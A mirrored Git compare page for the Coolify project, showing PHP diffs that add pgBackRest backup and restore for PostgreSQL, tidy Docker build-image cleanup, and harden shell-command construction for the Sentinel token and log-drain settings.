mirror of
https://github.com/coollabsio/coolify.git
synced 2026-03-11 08:55:47 +00:00
Compare commits
46 commits
da5dc9d4f7
...
7b33526d6d
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
7b33526d6d | ||
|
|
550db87724 | ||
|
|
a596ff313e | ||
|
|
0256043ca5 | ||
|
|
88f582225b | ||
|
|
497b2b64ca | ||
|
|
eb8752c202 | ||
|
|
96b35bd2d8 | ||
|
|
7aa744af90 | ||
|
|
5cac559602 | ||
|
|
d9cdbc6096 | ||
|
|
dc34d21cda | ||
|
|
1edb2acdbf | ||
|
|
d174724bf6 | ||
|
|
fcd574e1eb | ||
|
|
a1c30cb0e7 | ||
|
|
096d4369e5 | ||
|
|
6fbb5e626a | ||
|
|
c15bcd5634 | ||
|
|
633b1803e1 | ||
|
|
458f048c4e | ||
|
|
0a1782175a | ||
|
|
a3e59e5c96 | ||
|
|
d6ac8de6b7 | ||
|
|
473371e7ed | ||
|
|
b71d1561f3 | ||
|
|
d46c2c8152 | ||
|
|
1d3dfe4dc8 | ||
|
|
5c5f67f48b | ||
|
|
e41dbde46b | ||
|
|
9702543e20 | ||
|
|
201998638a | ||
|
|
0679e91c85 | ||
|
|
a362282976 | ||
|
|
872e300cf9 | ||
|
|
470cc15e62 | ||
|
|
28b018b397 | ||
|
|
ee03fa2fb3 | ||
|
|
6dd4361908 | ||
|
|
f046a4dda6 | ||
|
|
b20510a8b1 | ||
|
|
556ced24b5 | ||
|
|
d97ba72f34 | ||
|
|
0834a79fb2 | ||
|
|
bc36e929d0 | ||
|
|
b126eaf794 |
91 changed files with 5568 additions and 653 deletions
44
app/Actions/Database/PgBackrestRestore.php
Normal file
44
app/Actions/Database/PgBackrestRestore.php
Normal file
|
|
@ -0,0 +1,44 @@
|
|||
<?php
|
||||
|
||||
namespace App\Actions\Database;
|
||||
|
||||
use App\Jobs\PgBackrestRestoreJob;
|
||||
use App\Models\DatabaseRestore;
|
||||
use App\Models\ScheduledDatabaseBackupExecution;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use Lorisleiva\Actions\Concerns\AsAction;
|
||||
use Visus\Cuid2\Cuid2;
|
||||
|
||||
class PgBackrestRestore
|
||||
{
|
||||
use AsAction;
|
||||
|
||||
public function handle(
|
||||
StandalonePostgresql $database,
|
||||
?ScheduledDatabaseBackupExecution $execution = null,
|
||||
?string $targetTime = null
|
||||
): DatabaseRestore {
|
||||
$restore = DatabaseRestore::create([
|
||||
'uuid' => (string) new Cuid2,
|
||||
'database_id' => $database->id,
|
||||
'database_type' => $database->getMorphClass(),
|
||||
'engine' => 'pgbackrest',
|
||||
'scheduled_database_backup_execution_id' => $execution?->id,
|
||||
'target_label' => $execution?->pgbackrest_label,
|
||||
'target_time' => $targetTime,
|
||||
'status' => 'pending',
|
||||
]);
|
||||
|
||||
PgBackrestRestoreJob::dispatch($database, $restore, $execution, $targetTime);
|
||||
|
||||
return $restore;
|
||||
}
|
||||
|
||||
public function rules(): array
|
||||
{
|
||||
return [
|
||||
'database' => ['required'],
|
||||
'targetTime' => ['nullable', 'date'],
|
||||
];
|
||||
}
|
||||
}
|
||||
|
|
@ -5,6 +5,7 @@ namespace App\Actions\Database;
|
|||
use App\Helpers\SslHelper;
|
||||
use App\Models\SslCertificate;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Services\Backup\PgBackrestService;
|
||||
use Lorisleiva\Actions\Concerns\AsAction;
|
||||
use Symfony\Component\Yaml\Yaml;
|
||||
|
||||
|
|
@ -22,14 +23,13 @@ class StartPostgresql
|
|||
|
||||
private ?SslCertificate $ssl_certificate = null;
|
||||
|
||||
private bool $hasPgBackrest = false;
|
||||
|
||||
public function handle(StandalonePostgresql $database)
|
||||
{
|
||||
$this->database = $database;
|
||||
$container_name = $this->database->uuid;
|
||||
$this->configuration_dir = database_configuration_dir().'/'.$container_name;
|
||||
if (isDev()) {
|
||||
$this->configuration_dir = '/var/lib/docker/volumes/coolify_dev_coolify_data/_data/databases/'.$container_name;
|
||||
}
|
||||
|
||||
$this->commands = [
|
||||
"echo 'Starting database.'",
|
||||
|
|
@ -97,6 +97,7 @@ class StartPostgresql
|
|||
$volume_names = $this->generate_local_persistent_volumes_only_volume_names();
|
||||
$environment_variables = $this->generate_environment_variables();
|
||||
$this->generate_init_scripts();
|
||||
$this->setup_pgbackrest_config();
|
||||
$this->add_custom_conf();
|
||||
|
||||
$docker_compose = [
|
||||
|
|
@ -173,11 +174,12 @@ class StartPostgresql
|
|||
|
||||
if (count($this->init_scripts) > 0) {
|
||||
foreach ($this->init_scripts as $init_script) {
|
||||
$hostInitScript = $this->getHostPath($init_script);
|
||||
$docker_compose['services'][$container_name]['volumes'] = array_merge(
|
||||
$docker_compose['services'][$container_name]['volumes'],
|
||||
[[
|
||||
'type' => 'bind',
|
||||
'source' => $init_script,
|
||||
'source' => $hostInitScript,
|
||||
'target' => '/docker-entrypoint-initdb.d/'.basename($init_script),
|
||||
'read_only' => true,
|
||||
]]
|
||||
|
|
@ -188,11 +190,12 @@ class StartPostgresql
|
|||
$command = ['postgres'];
|
||||
|
||||
if (filled($this->database->postgres_conf)) {
|
||||
$hostConfigPath = $this->getHostPath($this->configuration_dir.'/custom-postgres.conf');
|
||||
$docker_compose['services'][$container_name]['volumes'] = array_merge(
|
||||
$docker_compose['services'][$container_name]['volumes'],
|
||||
[[
|
||||
'type' => 'bind',
|
||||
'source' => $this->configuration_dir.'/custom-postgres.conf',
|
||||
'source' => $hostConfigPath,
|
||||
'target' => '/etc/postgresql/postgresql.conf',
|
||||
'read_only' => true,
|
||||
]]
|
||||
|
|
@ -208,6 +211,22 @@ class StartPostgresql
|
|||
]);
|
||||
}
|
||||
|
||||
if ($this->hasPgBackrest) {
|
||||
$hostPgbackrestDir = $this->getHostPath($this->configuration_dir.'/pgbackrest');
|
||||
$docker_compose['services'][$container_name]['volumes'] = array_merge(
|
||||
$docker_compose['services'][$container_name]['volumes'],
|
||||
[
|
||||
$hostPgbackrestDir.':/etc/pgbackrest',
|
||||
]
|
||||
);
|
||||
$docker_compose['services'][$container_name]['entrypoint'] = [
|
||||
'/bin/sh',
|
||||
'-c',
|
||||
'/etc/pgbackrest/install-pgbackrest.sh && exec docker-entrypoint.sh "$@"',
|
||||
'--',
|
||||
];
|
||||
}
|
||||
|
||||
// Add custom docker run options
|
||||
$docker_run_options = convertDockerRunToCompose($this->database->custom_docker_run_options);
|
||||
$docker_compose = generateCustomDockerRunOptionsForDatabases($docker_run_options, $docker_compose, $container_name, $this->database->destination->network);
|
||||
|
|
@ -229,6 +248,7 @@ class StartPostgresql
|
|||
if ($this->database->enable_ssl) {
|
||||
$this->commands[] = executeInDocker($this->database->uuid, "chown {$this->database->postgres_user}:{$this->database->postgres_user} /var/lib/postgresql/certs/server.key /var/lib/postgresql/certs/server.crt");
|
||||
}
|
||||
|
||||
$this->commands[] = "echo 'Database started.'";
|
||||
|
||||
return remote_process($this->commands, $database->destination->server, callEventOnFinish: 'DatabaseStatusChanged');
|
||||
|
|
@ -315,19 +335,134 @@ class StartPostgresql
|
|||
$filename = 'custom-postgres.conf';
|
||||
$config_file_path = "$this->configuration_dir/$filename";
|
||||
|
||||
if (blank($this->database->postgres_conf)) {
|
||||
$content = $this->database->postgres_conf ?? '';
|
||||
|
||||
if (! str($content)->contains('listen_addresses')) {
|
||||
if ($this->database->is_public) {
|
||||
$content .= "\nlisten_addresses = '*'";
|
||||
} else {
|
||||
$content .= "\nlisten_addresses = 'localhost'";
|
||||
}
|
||||
}
|
||||
|
||||
if ($this->hasPgBackrest) {
|
||||
$stanza = PgBackrestService::getStanzaName($this->database);
|
||||
$configPath = PgBackrestService::CONFIG_PATH;
|
||||
$archiveCommand = "test ! -f {$configPath}/pgbackrest.conf || (command -v pgbackrest >/dev/null 2>&1 && pgbackrest --stanza={$stanza} archive-push %p)";
|
||||
|
||||
if (! str($content)->contains('archive_mode')) {
|
||||
$content .= "\narchive_mode = on";
|
||||
}
|
||||
|
||||
$content = preg_replace('/^\s*archive_command\s*=.*$/m', '', $content);
|
||||
$content = preg_replace('/\n{3,}/', "\n\n", $content);
|
||||
$content .= "\narchive_command = '{$archiveCommand}'";
|
||||
|
||||
if (! str($content)->contains('wal_level')) {
|
||||
$content .= "\nwal_level = replica";
|
||||
}
|
||||
if (! str($content)->contains('max_wal_senders')) {
|
||||
$content .= "\nmax_wal_senders = 3";
|
||||
}
|
||||
}
|
||||
|
||||
$content = trim($content);
|
||||
|
||||
if (blank($content)) {
|
||||
$this->commands[] = "rm -f $config_file_path";
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$content = $this->database->postgres_conf;
|
||||
if (! str($content)->contains('listen_addresses')) {
|
||||
$content .= "\nlisten_addresses = '*'";
|
||||
if ($content !== ($this->database->postgres_conf ?? '')) {
|
||||
$this->database->postgres_conf = $content;
|
||||
$this->database->save();
|
||||
}
|
||||
|
||||
$content_base64 = base64_encode($content);
|
||||
$this->commands[] = "echo '{$content_base64}' | base64 -d | tee $config_file_path > /dev/null";
|
||||
}
|
||||
|
||||
private function setup_pgbackrest_config(): void
|
||||
{
|
||||
$pgbackrestConfig = PgBackrestService::generateConfig($this->database);
|
||||
|
||||
if ($pgbackrestConfig === null) {
|
||||
$this->commands[] = "rm -rf $this->configuration_dir/pgbackrest";
|
||||
$this->hasPgBackrest = false;
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$this->hasPgBackrest = true;
|
||||
$configBase64 = base64_encode($pgbackrestConfig);
|
||||
|
||||
$this->commands[] = "echo 'Setting up pgBackRest configuration.'";
|
||||
$this->commands[] = "rm -rf $this->configuration_dir/pgbackrest";
|
||||
$this->commands[] = "mkdir -p $this->configuration_dir/pgbackrest";
|
||||
$this->commands[] = "echo '{$configBase64}' | base64 -d | tee $this->configuration_dir/pgbackrest/pgbackrest.conf > /dev/null";
|
||||
|
||||
$this->create_pgbackrest_entrypoint();
|
||||
}
|
||||
|
||||
private function create_pgbackrest_entrypoint(): void
|
||||
{
|
||||
$stanza = PgBackrestService::getStanzaName($this->database);
|
||||
$installCmd = PgBackrestService::getInstallCommand();
|
||||
|
||||
$backup = $this->database->pgbackrestBackups()->where('enabled', true)->first();
|
||||
$s3EnvSetup = '';
|
||||
if ($backup) {
|
||||
$s3EnvVars = PgBackrestService::buildS3EnvVars($backup);
|
||||
foreach ($s3EnvVars as $key => $value) {
|
||||
$escapedValue = addslashes($value);
|
||||
$s3EnvSetup .= "export {$key}=\"{$escapedValue}\"\n";
|
||||
}
|
||||
}
|
||||
|
||||
$installScript = <<<BASH
|
||||
#!/bin/bash
|
||||
set -e
|
||||
|
||||
mkdir -p /tmp/pgbackrest
|
||||
mkdir -p /var/lib/pgbackrest/log
|
||||
|
||||
NEED_INSTALL=0
|
||||
if ! command -v pgbackrest &> /dev/null; then
|
||||
NEED_INSTALL=1
|
||||
fi
|
||||
|
||||
if [ "\$NEED_INSTALL" = "1" ]; then
|
||||
{$installCmd}
|
||||
fi
|
||||
|
||||
# Fix permissions for postgres user
|
||||
chown -R postgres:postgres /tmp/pgbackrest /var/lib/pgbackrest /etc/pgbackrest 2>/dev/null || true
|
||||
chmod -R 770 /tmp/pgbackrest /var/lib/pgbackrest 2>/dev/null || true
|
||||
|
||||
# Set up S3 environment variables if configured
|
||||
{$s3EnvSetup}
|
||||
|
||||
# Create stanza if it doesn't exist (before PostgreSQL starts archiving)
|
||||
if [ -d /var/lib/postgresql/data ] && [ -f /var/lib/postgresql/data/PG_VERSION ]; then
|
||||
STANZA_CHECK=\$(su postgres -c "pgbackrest --stanza={$stanza} info" 2>&1 || true)
|
||||
if echo "\$STANZA_CHECK" | grep -q 'missing stanza'; then
|
||||
echo "Creating pgbackrest stanza..."
|
||||
su postgres -c "pgbackrest --stanza={$stanza} stanza-create"
|
||||
fi
|
||||
fi
|
||||
BASH;
|
||||
|
||||
$installScriptBase64 = base64_encode($installScript);
|
||||
$this->commands[] = "echo '{$installScriptBase64}' | base64 -d | tee $this->configuration_dir/pgbackrest/install-pgbackrest.sh > /dev/null";
|
||||
$this->commands[] = "chmod +x $this->configuration_dir/pgbackrest/install-pgbackrest.sh";
|
||||
}
|
||||
|
||||
/**
|
||||
* Convert a path from the SSH target perspective to the Docker host perspective.
|
||||
*/
|
||||
private function getHostPath(string $path): string
|
||||
{
|
||||
return convertPathToDockerHost($path);
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -327,6 +327,12 @@ class GetContainersStatus
|
|||
if (str($exitedService->status)->startsWith('exited')) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Only protection: If no containers at all, Docker query might have failed
|
||||
if ($this->containers->isEmpty()) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$name = data_get($exitedService, 'name');
|
||||
$fqdn = data_get($exitedService, 'fqdn');
|
||||
if ($name) {
|
||||
|
|
@ -406,6 +412,12 @@ class GetContainersStatus
|
|||
if (str($database->status)->startsWith('exited')) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Only protection: If no containers at all, Docker query might have failed
|
||||
if ($this->containers->isEmpty()) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Reset restart tracking when database exits completely
|
||||
$database->update([
|
||||
'status' => 'exited',
|
||||
|
|
|
|||
|
|
@ -177,9 +177,10 @@ class CleanupDocker
|
|||
->filter(fn ($image) => ! empty($image['tag']));
|
||||
|
||||
// Separate images into categories
|
||||
// PR images (pr-*) and build images (*-build) are excluded from retention
|
||||
// Build images will be cleaned up by docker image prune -af
|
||||
// PR images (pr-*) are always deleted
|
||||
// Build images (*-build) are cleaned up to match retained regular images
|
||||
$prImages = $images->filter(fn ($image) => str_starts_with($image['tag'], 'pr-'));
|
||||
$buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build'));
|
||||
$regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
|
||||
|
||||
// Always delete all PR images
|
||||
|
|
@ -209,6 +210,26 @@ class CleanupDocker
|
|||
'output' => $deleteOutput ?? 'Image removed or was in use',
|
||||
];
|
||||
}
|
||||
|
||||
// Clean up build images (-build suffix) that don't correspond to retained regular images
|
||||
// Build images are intermediate artifacts (e.g. Nixpacks) not used by running containers.
|
||||
// If a build is in progress, docker rmi will fail silently since the image is in use.
|
||||
$keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag');
|
||||
if (! empty($currentTag)) {
|
||||
$keptTags = $keptTags->push($currentTag);
|
||||
}
|
||||
|
||||
foreach ($buildImages as $image) {
|
||||
$baseTag = preg_replace('/-build$/', '', $image['tag']);
|
||||
if (! $keptTags->contains($baseTag)) {
|
||||
$deleteCommand = "docker rmi {$image['image_ref']} 2>/dev/null || true";
|
||||
$deleteOutput = instant_remote_process([$deleteCommand], $server, false);
|
||||
$cleanupLog[] = [
|
||||
'command' => $deleteCommand,
|
||||
'output' => $deleteOutput ?? 'Build image removed or was in use',
|
||||
];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $cleanupLog;
|
||||
|
|
|
|||
|
|
@ -177,6 +177,19 @@ Files:
|
|||
$parsers_config = $config_path.'/parsers.conf';
|
||||
$compose_path = $config_path.'/docker-compose.yml';
|
||||
$readme_path = $config_path.'/README.md';
|
||||
if ($type === 'newrelic') {
|
||||
$envContent = "LICENSE_KEY={$license_key}\nBASE_URI={$base_uri}\n";
|
||||
} elseif ($type === 'highlight') {
|
||||
$envContent = "HIGHLIGHT_PROJECT_ID={$server->settings->logdrain_highlight_project_id}\n";
|
||||
} elseif ($type === 'axiom') {
|
||||
$envContent = "AXIOM_DATASET_NAME={$server->settings->logdrain_axiom_dataset_name}\nAXIOM_API_KEY={$server->settings->logdrain_axiom_api_key}\n";
|
||||
} elseif ($type === 'custom') {
|
||||
$envContent = '';
|
||||
} else {
|
||||
throw new \Exception('Unknown log drain type.');
|
||||
}
|
||||
$envEncoded = base64_encode($envContent);
|
||||
|
||||
$command = [
|
||||
"echo 'Saving configuration'",
|
||||
"mkdir -p $config_path",
|
||||
|
|
@ -184,34 +197,10 @@ Files:
|
|||
"echo '{$config}' | base64 -d | tee $fluent_bit_config > /dev/null",
|
||||
"echo '{$compose}' | base64 -d | tee $compose_path > /dev/null",
|
||||
"echo '{$readme}' | base64 -d | tee $readme_path > /dev/null",
|
||||
"test -f $config_path/.env && rm $config_path/.env",
|
||||
];
|
||||
if ($type === 'newrelic') {
|
||||
$add_envs_command = [
|
||||
"echo LICENSE_KEY=$license_key >> $config_path/.env",
|
||||
"echo BASE_URI=$base_uri >> $config_path/.env",
|
||||
];
|
||||
} elseif ($type === 'highlight') {
|
||||
$add_envs_command = [
|
||||
"echo HIGHLIGHT_PROJECT_ID={$server->settings->logdrain_highlight_project_id} >> $config_path/.env",
|
||||
];
|
||||
} elseif ($type === 'axiom') {
|
||||
$add_envs_command = [
|
||||
"echo AXIOM_DATASET_NAME={$server->settings->logdrain_axiom_dataset_name} >> $config_path/.env",
|
||||
"echo AXIOM_API_KEY={$server->settings->logdrain_axiom_api_key} >> $config_path/.env",
|
||||
];
|
||||
} elseif ($type === 'custom') {
|
||||
$add_envs_command = [
|
||||
"touch $config_path/.env",
|
||||
];
|
||||
} else {
|
||||
throw new \Exception('Unknown log drain type.');
|
||||
}
|
||||
$restart_command = [
|
||||
"echo '{$envEncoded}' | base64 -d | tee $config_path/.env > /dev/null",
|
||||
"echo 'Starting Fluent Bit'",
|
||||
"cd $config_path && docker compose up -d",
|
||||
];
|
||||
$command = array_merge($command, $add_envs_command, $restart_command);
|
||||
|
||||
return instant_remote_process($command, $server);
|
||||
} catch (\Throwable $e) {
|
||||
|
|
|
|||
|
|
@ -4,6 +4,7 @@ namespace App\Actions\Server;
|
|||
|
||||
use App\Events\SentinelRestarted;
|
||||
use App\Models\Server;
|
||||
use App\Models\ServerSetting;
|
||||
use Lorisleiva\Actions\Concerns\AsAction;
|
||||
|
||||
class StartSentinel
|
||||
|
|
@ -23,6 +24,9 @@ class StartSentinel
|
|||
$refreshRate = data_get($server, 'settings.sentinel_metrics_refresh_rate_seconds');
|
||||
$pushInterval = data_get($server, 'settings.sentinel_push_interval_seconds');
|
||||
$token = data_get($server, 'settings.sentinel_token');
|
||||
if (! ServerSetting::isValidSentinelToken($token)) {
|
||||
throw new \RuntimeException('Invalid sentinel token format. Token must contain only alphanumeric characters, dots, hyphens, and underscores.');
|
||||
}
|
||||
$endpoint = data_get($server, 'settings.sentinel_custom_url');
|
||||
$debug = data_get($server, 'settings.is_sentinel_debug_enabled');
|
||||
$mountDir = '/data/coolify/sentinel';
|
||||
|
|
@ -49,7 +53,7 @@ class StartSentinel
|
|||
}
|
||||
$mountDir = '/var/lib/docker/volumes/coolify_dev_coolify_data/_data/sentinel';
|
||||
}
|
||||
$dockerEnvironments = '-e "'.implode('" -e "', array_map(fn ($key, $value) => "$key=$value", array_keys($environments), $environments)).'"';
|
||||
$dockerEnvironments = implode(' ', array_map(fn ($key, $value) => '-e '.escapeshellarg("$key=$value"), array_keys($environments), $environments));
|
||||
$dockerLabels = implode(' ', array_map(fn ($key, $value) => "$key=$value", array_keys($labels), $labels));
|
||||
$dockerCommand = "docker run -d $dockerEnvironments --name coolify-sentinel -v /var/run/docker.sock:/var/run/docker.sock -v $mountDir:/app/db --pid host --health-cmd \"curl --fail http://127.0.0.1:8888/api/health || exit 1\" --health-interval 10s --health-retries 3 --add-host=host.docker.internal:host-gateway --label $dockerLabels $image";
|
||||
|
||||
|
|
|
|||
|
|
@ -2,6 +2,7 @@
|
|||
|
||||
namespace App\Http\Controllers\Api;
|
||||
|
||||
use App\Actions\Database\PgBackrestRestore;
|
||||
use App\Actions\Database\RestartDatabase;
|
||||
use App\Actions\Database\StartDatabase;
|
||||
use App\Actions\Database\StartDatabaseProxy;
|
||||
|
|
@ -11,9 +12,11 @@ use App\Enums\NewDatabaseTypes;
|
|||
use App\Http\Controllers\Controller;
|
||||
use App\Jobs\DatabaseBackupJob;
|
||||
use App\Jobs\DeleteResourceJob;
|
||||
use App\Models\DatabaseRestore;
|
||||
use App\Models\Project;
|
||||
use App\Models\S3Storage;
|
||||
use App\Models\ScheduledDatabaseBackup;
|
||||
use App\Models\ScheduledDatabaseBackupExecution;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use Illuminate\Http\Request;
|
||||
|
|
@ -44,6 +47,51 @@ class DatabasesController extends Controller
|
|||
return serializeApiResponse($database);
|
||||
}
|
||||
|
||||
/**
|
||||
* Allowed fields for backup configuration API requests.
|
||||
*/
|
||||
private function getBackupConfigFields(): array
|
||||
{
|
||||
return [
|
||||
'save_s3', 'enabled', 'dump_all', 'frequency', 'databases_to_backup',
|
||||
'database_backup_retention_amount_locally', 'database_backup_retention_days_locally',
|
||||
'database_backup_retention_max_storage_locally', 'database_backup_retention_amount_s3',
|
||||
'database_backup_retention_days_s3', 'database_backup_retention_max_storage_s3',
|
||||
's3_storage_uuid',
|
||||
'engine', 'pgbackrest_backup_type', 'pgbackrest_compress_type', 'pgbackrest_compress_level',
|
||||
'pgbackrest_log_level', 'pgbackrest_archive_mode',
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Build backup configuration data from request input.
|
||||
* Converts s3_storage_uuid to s3_storage_id and filters to allowed fields.
|
||||
*
|
||||
* @return array{data: array, error: \Illuminate\Http\JsonResponse|null}
|
||||
*/
|
||||
private function buildBackupConfig(Request $request, bool $requireSaveS3 = false): array
|
||||
{
|
||||
$backupData = $request->only($this->getBackupConfigFields());
|
||||
|
||||
if (isset($backupData['s3_storage_uuid'])) {
|
||||
$s3Storage = S3Storage::ownedByCurrentTeam()->where('uuid', $backupData['s3_storage_uuid'])->first();
|
||||
if ($s3Storage) {
|
||||
$backupData['s3_storage_id'] = $s3Storage->id;
|
||||
} elseif ($requireSaveS3 || $request->boolean('save_s3')) {
|
||||
return [
|
||||
'data' => [],
|
||||
'error' => response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => ['s3_storage_uuid' => ['The selected S3 storage is invalid for this team.']],
|
||||
], 422),
|
||||
];
|
||||
}
|
||||
unset($backupData['s3_storage_uuid']);
|
||||
}
|
||||
|
||||
return ['data' => $backupData, 'error' => null];
|
||||
}
|
||||
|
||||
#[OA\Get(
|
||||
summary: 'List',
|
||||
description: 'List all databases.',
|
||||
|
|
@ -636,6 +684,12 @@ class DatabasesController extends Controller
|
|||
'database_backup_retention_amount_s3' => ['type' => 'integer', 'description' => 'Number of backups to retain in S3'],
|
||||
'database_backup_retention_days_s3' => ['type' => 'integer', 'description' => 'Number of days to retain backups in S3'],
|
||||
'database_backup_retention_max_storage_s3' => ['type' => 'integer', 'description' => 'Max storage (MB) for S3 backups'],
|
||||
'engine' => ['type' => 'string', 'description' => 'Backup engine: native (pg_dump) or pgbackrest (PostgreSQL only)', 'enum' => ['native', 'pgbackrest'], 'default' => 'native'],
|
||||
'pgbackrest_backup_type' => ['type' => 'string', 'description' => 'pgBackRest backup type', 'enum' => ['full', 'diff', 'incr']],
|
||||
'pgbackrest_compress_type' => ['type' => 'string', 'description' => 'pgBackRest compression type', 'enum' => ['lz4', 'gzip', 'zstd', 'none']],
|
||||
'pgbackrest_compress_level' => ['type' => 'integer', 'description' => 'pgBackRest compression level (0-9)'],
|
||||
'pgbackrest_log_level' => ['type' => 'string', 'description' => 'pgBackRest log level', 'enum' => ['off', 'error', 'warn', 'info', 'detail', 'debug', 'trace']],
|
||||
'pgbackrest_archive_mode' => ['type' => 'string', 'description' => 'pgBackRest archive mode for WAL archiving', 'enum' => ['standard', 'reduced', 'minimal']],
|
||||
],
|
||||
),
|
||||
)
|
||||
|
|
@ -672,14 +726,13 @@ class DatabasesController extends Controller
|
|||
)]
|
||||
public function create_backup(Request $request)
|
||||
{
|
||||
$backupConfigFields = ['save_s3', 'enabled', 'dump_all', 'frequency', 'databases_to_backup', 'database_backup_retention_amount_locally', 'database_backup_retention_days_locally', 'database_backup_retention_max_storage_locally', 'database_backup_retention_amount_s3', 'database_backup_retention_days_s3', 'database_backup_retention_max_storage_s3', 's3_storage_uuid'];
|
||||
$backupConfigFields = $this->getBackupConfigFields();
|
||||
|
||||
$teamId = getTeamIdFromToken();
|
||||
if (is_null($teamId)) {
|
||||
return invalidTokenResponse();
|
||||
}
|
||||
|
||||
// Validate incoming request is valid JSON
|
||||
$return = validateIncomingRequest($request);
|
||||
if ($return instanceof \Illuminate\Http\JsonResponse) {
|
||||
return $return;
|
||||
|
|
@ -699,6 +752,12 @@ class DatabasesController extends Controller
|
|||
'database_backup_retention_amount_s3' => 'integer|min:0',
|
||||
'database_backup_retention_days_s3' => 'integer|min:0',
|
||||
'database_backup_retention_max_storage_s3' => 'integer|min:0',
|
||||
'engine' => 'string|in:native,pgbackrest|nullable',
|
||||
'pgbackrest_backup_type' => 'string|in:full,diff,incr|nullable',
|
||||
'pgbackrest_compress_type' => 'string|in:lz4,gzip,zstd,none|nullable',
|
||||
'pgbackrest_compress_level' => 'integer|min:0|max:9|nullable',
|
||||
'pgbackrest_log_level' => 'string|in:off,error,warn,info,detail,debug,trace|nullable',
|
||||
'pgbackrest_archive_mode' => 'string|in:standard,reduced,minimal|nullable',
|
||||
]);
|
||||
|
||||
if ($validator->fails()) {
|
||||
|
|
@ -720,6 +779,14 @@ class DatabasesController extends Controller
|
|||
|
||||
$this->authorize('manageBackups', $database);
|
||||
|
||||
// Validate pgBackRest can only be used with PostgreSQL
|
||||
if ($request->input('engine') === 'pgbackrest' && $database->type() !== 'standalone-postgresql') {
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => ['engine' => ['pgBackRest engine is only supported for PostgreSQL databases.']],
|
||||
], 422);
|
||||
}
|
||||
|
||||
// Validate frequency is a valid cron expression
|
||||
$isValid = validate_cron_expression($request->frequency);
|
||||
if (! $isValid) {
|
||||
|
|
@ -761,21 +828,11 @@ class DatabasesController extends Controller
|
|||
], 422);
|
||||
}
|
||||
|
||||
$backupData = $request->only($backupConfigFields);
|
||||
|
||||
// Convert s3_storage_uuid to s3_storage_id
|
||||
if (isset($backupData['s3_storage_uuid'])) {
|
||||
$s3Storage = S3Storage::ownedByCurrentTeam()->where('uuid', $backupData['s3_storage_uuid'])->first();
|
||||
if ($s3Storage) {
|
||||
$backupData['s3_storage_id'] = $s3Storage->id;
|
||||
} elseif ($request->boolean('save_s3')) {
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => ['s3_storage_uuid' => ['The selected S3 storage is invalid for this team.']],
|
||||
], 422);
|
||||
}
|
||||
unset($backupData['s3_storage_uuid']);
|
||||
$result = $this->buildBackupConfig($request);
|
||||
if ($result['error']) {
|
||||
return $result['error'];
|
||||
}
|
||||
$backupData = $result['data'];
|
||||
|
||||
// Set default databases_to_backup based on database type if not provided
|
||||
if (! isset($backupData['databases_to_backup']) || empty($backupData['databases_to_backup'])) {
|
||||
|
|
@ -861,6 +918,12 @@ class DatabasesController extends Controller
|
|||
'database_backup_retention_amount_s3' => ['type' => 'integer', 'description' => 'Retention amount of the backup in s3'],
|
||||
'database_backup_retention_days_s3' => ['type' => 'integer', 'description' => 'Retention days of the backup in s3'],
|
||||
'database_backup_retention_max_storage_s3' => ['type' => 'integer', 'description' => 'Max storage of the backup in S3'],
|
||||
'engine' => ['type' => 'string', 'description' => 'Backup engine: native (pg_dump) or pgbackrest (PostgreSQL only)', 'enum' => ['native', 'pgbackrest']],
|
||||
'pgbackrest_backup_type' => ['type' => 'string', 'description' => 'pgBackRest backup type', 'enum' => ['full', 'diff', 'incr']],
|
||||
'pgbackrest_compress_type' => ['type' => 'string', 'description' => 'pgBackRest compression type', 'enum' => ['lz4', 'gzip', 'zstd', 'none']],
|
||||
'pgbackrest_compress_level' => ['type' => 'integer', 'description' => 'pgBackRest compression level (0-9)'],
|
||||
'pgbackrest_log_level' => ['type' => 'string', 'description' => 'pgBackRest log level', 'enum' => ['off', 'error', 'warn', 'info', 'detail', 'debug', 'trace']],
|
||||
'pgbackrest_archive_mode' => ['type' => 'string', 'description' => 'pgBackRest archive mode for WAL archiving', 'enum' => ['standard', 'reduced', 'minimal']],
|
||||
],
|
||||
),
|
||||
)
|
||||
|
|
@ -890,17 +953,18 @@ class DatabasesController extends Controller
|
|||
)]
|
||||
public function update_backup(Request $request)
|
||||
{
|
||||
$backupConfigFields = ['save_s3', 'enabled', 'dump_all', 'frequency', 'databases_to_backup', 'database_backup_retention_amount_locally', 'database_backup_retention_days_locally', 'database_backup_retention_max_storage_locally', 'database_backup_retention_amount_s3', 'database_backup_retention_days_s3', 'database_backup_retention_max_storage_s3', 's3_storage_uuid'];
|
||||
$backupConfigFields = $this->getBackupConfigFields();
|
||||
|
||||
$teamId = getTeamIdFromToken();
|
||||
if (is_null($teamId)) {
|
||||
return invalidTokenResponse();
|
||||
}
|
||||
// this check if the request is a valid json
|
||||
|
||||
$return = validateIncomingRequest($request);
|
||||
if ($return instanceof \Illuminate\Http\JsonResponse) {
|
||||
return $return;
|
||||
}
|
||||
|
||||
$validator = customApiValidator($request->all(), [
|
||||
'save_s3' => 'boolean',
|
||||
'backup_now' => 'boolean|nullable',
|
||||
|
|
@ -915,7 +979,14 @@ class DatabasesController extends Controller
|
|||
'database_backup_retention_amount_s3' => 'integer|min:0',
|
||||
'database_backup_retention_days_s3' => 'integer|min:0',
|
||||
'database_backup_retention_max_storage_s3' => 'integer|min:0',
|
||||
'engine' => 'string|in:native,pgbackrest|nullable',
|
||||
'pgbackrest_backup_type' => 'string|in:full,diff,incr|nullable',
|
||||
